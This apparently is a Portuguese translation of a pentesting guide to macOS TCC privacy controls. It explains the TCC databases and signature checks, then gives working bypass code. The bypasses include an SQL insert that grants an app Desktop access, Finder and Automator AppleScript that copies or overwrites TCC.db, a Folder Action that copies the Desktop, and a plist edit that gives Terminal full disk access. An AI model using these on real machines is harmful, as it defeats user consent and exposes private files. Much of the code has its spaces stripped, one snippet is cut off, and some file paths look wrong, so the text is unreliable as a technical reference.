TCC (Transparência, Consentimento e Controle) é um protocolo de segurança que se concentra na regulação das permissões de aplicativos. Seu papel principal é proteger recursos sensíveis como serviços de localização, contatos, fotos, microfone, câmera, acessibilidade e acesso total ao disco. Ao exigir consentimento explícito do usuário antes de conceder acesso do aplicativo a esses elementos, o TCC melhora a privacidade e o controle do usuário sobre seus dados.
Os usuários encontram o TCC quando os aplicativos solicitam acesso a recursos protegidos. Isso é visível através de um prompt que permite aos usuários aprovar ou negar o acesso. Além disso, o TCC acomoda ações diretas do usuário, como arrastar e soltar arquivos em um aplicativo, para conceder acesso a arquivos específicos, garantindo que os aplicativos tenham acesso apenas ao que é explicitamente permitido.
TCC é gerenciado pelo daemon localizado em /System/Library/PrivateFrameworks/TCC.framework/Support/tccd e configurado em /System/Library/LaunchDaemons/com.apple.tccd.system.plist (registrando o serviço mach com.apple.tccd.system).
Há um tccd em modo usuário em execução por usuário logado definido em /System/Library/LaunchAgents/com.apple.tccd.plist registrando os serviços mach com.apple.tccd e com.apple.usernotifications.delegate.com.apple.tccd.
Aqui você pode ver o tccd rodando como sistema e como usuário:
As permissões são herdadas do aplicativo pai e as permissões são rastreadas com base no Bundle ID e no Developer ID.
Bancos de Dados TCC
As permissões concedidas/negadas são então armazenadas em alguns bancos de dados TCC:
O banco de dados de sistema em /Library/Application Support/com.apple.TCC/TCC.db.
Este banco de dados é protegido por SIP, então apenas um bypass de SIP pode escrever nele.
O banco de dados TCC do usuário $HOME/Library/Application Support/com.apple.TCC/TCC.db para preferências por usuário.
Este banco de dados é protegido, então apenas processos com altos privilégios TCC, como Acesso Completo ao Disco, podem escrever nele (mas não é protegido por SIP).
Os bancos de dados anteriores também são protegidos por TCC para acesso de leitura. Portanto, você não poderá ler seu banco de dados TCC de usuário regular, a menos que seja de um processo privilegiado por TCC.
No entanto, lembre-se de que um processo com esses altos privilégios (como FDA ou kTCCServiceEndpointSecurityClient) poderá escrever no banco de dados TCC dos usuários.
Há um terceiro banco de dados TCC em /var/db/locationd/clients.plist para indicar clientes autorizados a acessar serviços de localização.
O arquivo protegido por SIP /Users/carlospolop/Downloads/REG.db (também protegido contra acesso de leitura com TCC) contém a localização de todos os bancos de dados TCC válidos.
O arquivo protegido por SIP /Users/carlospolop/Downloads/MDMOverrides.plist (também protegido contra acesso de leitura com TCC) contém mais permissões concedidas pelo TCC.
O arquivo protegido por SIP /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (mas legível por qualquer um) é uma lista de permissões de aplicativos que requerem uma exceção TCC.
O banco de dados TCC em iOS está em /private/var/mobile/Library/TCC/TCC.db.
A interface do centro de notificações pode fazer alterações no banco de dados TCC do sistema:
No entanto, os usuários podem deletar ou consultar regras com a utilidade de linha de comando tccutil.
Consultar os bancos de dados
sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
Verificando ambos os bancos de dados, você pode verificar as permissões que um aplicativo permitiu, proibiu ou não possui (ele solicitará).
O service é a representação em string da permissão TCC
O client é o ID do pacote ou caminho para o binário com as permissões
O client_type indica se é um Identificador de Pacote(0) ou um caminho absoluto(1)
Como executar se for um caminho absoluto
Basta fazer launctl load you_bin.plist, com um plist como:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --><key>Label</key><string>com.example.yourbinary</string><!-- The path to the executable --><key>Program</key><string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --><key>ProgramArguments</key><array><string>arg1</string><string>arg2</string></array><!-- Run at load --><key>RunAtLoad</key><true/><!-- Keep the job alive, restart if necessary --><key>KeepAlive</key><true/><!-- Standard output and error paths (optional) --><key>StandardOutPath</key><string>/tmp/YourBinary.stdout</string><key>StandardErrorPath</key><string>/tmp/YourBinary.stderr</string></dict></plist>
O auth_value pode ter diferentes valores: denied(0), unknown(1), allowed(2) ou limited(3).
O auth_reason pode assumir os seguintes valores: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
O campo csreq está lá para indicar como verificar o binário a ser executado e conceder as permissões do TCC:
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F' => ''/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d'\n')echo"X'$REQ_HEX'"
Você também pode verificar as permissões já concedidas a aplicativos em Preferências do Sistema --> Segurança e Privacidade --> Privacidade --> Arquivos e Pastas.
Os usuários podemdeletar ou consultar regras usando tccutil .
Redefinir permissões do TCC
# You can reset all the permissions given to an application withtccutilresetAllapp.some.id# Reset the permissions granted to all appstccutilresetAll
TCC Verificações de Assinatura
O TCC banco de dados armazena o ID do Pacote da aplicação, mas também armazenainformações sobre a assinatura para garantir que o App que está pedindo para usar uma permissão é o correto.
# From sqlitesqlite> selectservice,client,hex(csreq) fromaccesswhereauth_value=2;#Get csreq# From bashecho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checkscsreq-t-r/tmp/telegram_csreq.bin(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
Portanto, outros aplicativos que usam o mesmo nome e ID de pacote não poderão acessar as permissões concedidas a outros aplicativos.
Direitos e Permissões TCC
Os aplicativos não apenas precisamsolicitar e ter acesso concedido a alguns recursos, eles também precisam ter os direitos relevantes.
Por exemplo, Telegram tem o direito com.apple.security.device.camera para solicitar acesso à câmera. Um aplicativo que não tiver esse direito não poderá acessar a câmera (e o usuário não será nem mesmo solicitado a dar as permissões).
No entanto, para que os aplicativos acessamcertas pastas do usuário, como ~/Desktop, ~/Downloads e ~/Documents, eles não precisam ter nenhum direito específico. O sistema lidará com o acesso de forma transparente e pedirá ao usuário conforme necessário.
Os aplicativos da Apple não gerarão prompts. Eles contêm direitos pré-concedidos em sua lista de direitos, o que significa que nunca gerarão um popup, nem aparecerão em nenhum dos bancos de dados TCC. Por exemplo:
Isso evitará que o Calendário pergunte ao usuário para acessar lembretes, calendário e a lista de contatos.
Além de alguma documentação oficial sobre permissões, também é possível encontrar informações interessantes não oficiais sobre permissões emhttps://newosxbook.com/ent.jl
Algumas permissões do TCC são: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Não há uma lista pública que defina todas elas, mas você pode verificar esta lista das conhecidas.
Locais sensíveis não protegidos
$HOME (ele mesmo)
$HOME/.ssh, $HOME/.aws, etc
/tmp
Intenção do Usuário / com.apple.macl
Como mencionado anteriormente, é possível conceder acesso a um App a um arquivo arrastando e soltando-o nele. Esse acesso não será especificado em nenhum banco de dados do TCC, mas como um atributo estendido do arquivo. Este atributo irá armazenar o UUID do aplicativo permitido:
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
É curioso que o com.apple.macl atributo é gerenciado pelo Sandbox, não pelo tccd.
Também note que se você mover um arquivo que permite o UUID de um app no seu computador para um computador diferente, porque o mesmo app terá UIDs diferentes, não concederá acesso a esse app.
O atributo estendido com.apple.maclnão pode ser limpo como outros atributos estendidos porque é protegido pelo SIP. No entanto, como explicado neste post, é possível desativá-lo zipando o arquivo, deletando-o e deszipando-o.
TCC Privesc & Bypasses
Inserir no TCC
Se em algum momento você conseguir obter acesso de gravação a um banco de dados TCC, você pode usar algo como o seguinte para adicionar uma entrada (remova os comentários):
Exemplo de inserção no TCC
```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```
TCC Payloads
Se você conseguiu acessar um aplicativo com algumas permissões TCC, verifique a seguinte página com payloads TCC para abusar delas:
O nome TCC da permissão de Automação é: kTCCServiceAppleEvents
Esta permissão TCC específica também indica a aplicação que pode ser gerenciada dentro do banco de dados TCC (portanto, as permissões não permitem apenas gerenciar tudo).
Finder é um aplicativo que sempre tem FDA (mesmo que não apareça na interface do usuário), então, se você tiver privilégios de Automação sobre ele, pode abusar de seus privilégios para fazer com que ele execute algumas ações.
Neste caso, seu aplicativo precisaria da permissão kTCCServiceAppleEvents sobre com.apple.Finder.
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
Você poderia abusar disso para escrever seu próprio banco de dados TCC de usuário.
Com essa permissão, você poderá pedir ao Finder para acessar pastas restritas do TCC e lhe dar os arquivos, mas, até onde sei, você não poderá fazer o Finder executar código arbitrário para abusar totalmente do seu acesso FDA.
Portanto, você não poderá abusar das plenas habilidades do FDA.
Este é o prompt do TCC para obter privilégios de Automação sobre o Finder:
Note que, porque o aplicativo Automator tem a permissão TCC kTCCServiceAppleEvents, ele pode controlar qualquer aplicativo, como o Finder. Portanto, tendo a permissão para controlar o Automator, você também poderia controlar o Finder com um código como o abaixo:
Obter um shell dentro do Automator
```applescript osascript<
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
O mesmo acontece com o **Script Editor app,** ele pode controlar o Finder, mas usando um AppleScript você não pode forçá-lo a executar um script.
### Automação (SE) para algum TCC
**Eventos do Sistema podem criar Ações de Pasta, e Ações de Pasta podem acessar algumas pastas do TCC** (Desktop, Documents & Downloads), então um script como o seguinte pode ser usado para abusar desse comportamento:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
Automação (SE) + Acessibilidade (kTCCServicePostEvent|kTCCServiceAccessibility) para FDA*
A automação em System Events + Acessibilidade (kTCCServicePostEvent) permite enviar teclas para processos. Dessa forma, você poderia abusar do Finder para alterar o TCC.db dos usuários ou para conceder FDA a um aplicativo arbitrário (embora a senha possa ser solicitada para isso).
Exemplo de sobrescrita do TCC.db dos usuários pelo Finder:
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF
Se você tem kTCCServiceEndpointSecurityClient, você tem FDA. Fim.
Arquivo de Política do Sistema SysAdmin para FDA
kTCCServiceSystemPolicySysAdminFiles permite alterar o atributo NFSHomeDirectory de um usuário que muda sua pasta inicial e, portanto, permite contornar o TCC.
Banco de Dados TCC do Usuário para FDA
Obtendo permissões de escrita sobre o banco de dados TCC do usuário, você **não pode** conceder a si mesmo permissões de FDA, apenas aquele que vive no banco de dados do sistema pode conceder isso.
Mas você pode dar a si mesmo direitos de Automação ao Finder e abusar da técnica anterior para escalar para FDA*.
Permissões de FDA para TCC
Acesso Completo ao Disco é o nome do TCC kTCCServiceSystemPolicyAllFiles
Eu não acho que isso seja um verdadeiro privesc, mas só para o caso de você achar útil: Se você controla um programa com FDA, você pode modificar o banco de dados TCC dos usuários e dar a si mesmo qualquer acesso. Isso pode ser útil como uma técnica de persistência caso você possa perder suas permissões de FDA.
Contorno de SIP para Contorno de TCC
O banco de dados TCC do sistema é protegido por SIP, por isso apenas processos com as habilitações indicadas poderão modificá-lo. Portanto, se um atacante encontrar um contorno de SIP sobre um arquivo (conseguir modificar um arquivo restrito por SIP), ele poderá:
Remover a proteção de um banco de dados TCC e dar a si mesmo todas as permissões TCC. Ele poderia abusar de qualquer um desses arquivos, por exemplo:
O banco de dados do sistema TCC
REG.db
MDMOverrides.plist
No entanto, há outra opção para abusar desse contorno de SIP para contornar o TCC, o arquivo /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist é uma lista de permissões de aplicativos que requerem uma exceção de TCC. Portanto, se um atacante puder remover a proteção SIP deste arquivo e adicionar seu próprio aplicativo, o aplicativo poderá contornar o TCC.
Por exemplo, para adicionar o terminal:
# Get needed infocodesign-d-r-/System/Applications/Utilities/Terminal.app
AllowApplicationsList.plist:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Services</key><dict><key>SystemPolicyAllFiles</key><array><dict><key>CodeRequirement</key><string>identifier "com.apple.Terminal" and anchor apple</string><key>IdentifierType</key><string>bundleID</string><key>Identifier</key><string>com.apple.Terminal</string></dict></array></dict></dict></plist>